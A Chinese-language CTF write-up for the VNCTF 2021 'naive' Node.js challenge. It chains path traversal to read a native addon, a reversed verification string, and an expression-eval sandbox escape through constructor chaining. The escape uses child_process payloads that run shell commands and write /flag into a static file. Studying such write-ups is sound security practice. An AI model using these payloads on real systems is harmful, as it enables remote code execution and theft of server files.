[VNCTF 2021]naive
出的很好的题目,学到了很多知识,其中感谢Y4大佬甩了一堆学习链接给我!!!
考点:任意文件读取、逆向、ES6模式下动态加载模块
eval路由
存在代码执行,但是需要先通过addon.verify()函数
的验证
import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;
const addon = bindings("addon");
app.use("/eval", (req, res) => {
const e = req.body.e;
const code = req.body.code;
if (!e || !code) {
res.send("wrong?");
return;
}
try {
if (addon.verify(code)) {
res.send(String(eval_(parse(e)))); //代码执行
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
source路由
存在任意文件读取,但是不可以直接读取flag文件
app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
}
});
通过查找文档:http://nodejs.cn/api/addons.html ,可以找到addon.node模块存在的位置
然后通过source路由读取,Payload:?path=../build/Release/addon.node
读取到addon程序,然后交给了逆向大佬去逆向(为大佬打call!!!),获得验证码yoshino-s_want_a_gf,qq1735439536
接着想办法去执行命令,查看文档:https://github.com/q269384828/expression-eval ,发现存在可以代码执行的方式
于是开始尝试代码执行,这里解释一下用了两个constructor,第一个返回到String,第二个返回到Function才可以导入模块
Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return require('child_process').execSync('ls');")()
但是直接报错wrong?,根据源码查看应该是执行异常跳出的。这是上了一个新的Hint:仔细阅读package.json哦
,返回去查看package.json中的内容
{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"type": "module",
"scripts": {
"start": "node src/index.js",
"build:native": "node-gyp rebuild",
"build:native:dev": "node-gyp rebuild --debug"
},
"dependencies": {
"bindings": "^1.5.0",
"express": "^4.17.1",
"expression-eval": "^4.0.0",
"node-addon-api": "^3.0.2",
"seval": "^2.0.1"
},
"devDependencies": {
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"node-gyp": "^7.1.2",
"prettier": "^2.0.5"
}
}
重点是这个"type": "module"
参数,通过查看文档:http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html ,知道了这里采用的是ES6模块,不可以使用require导入,这就是前面代码执行异常的原因
既然知道了ES6模块是使用import
导入就可以继续写了,同时在文档:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules ,找到了import导入后的执行方法
Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./1.js')});")()
因为没有回显所以还需要使用source路由
读取1.js的内容,url/source?path=../1.js
还有另外一种方式
app.use(express.static("static"));
源码中存在这句,意思是将static文件夹设置静态文件目录,可以在url后面直接加上文件名进行访问
Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./static/1.js')});")()
访问url/1.js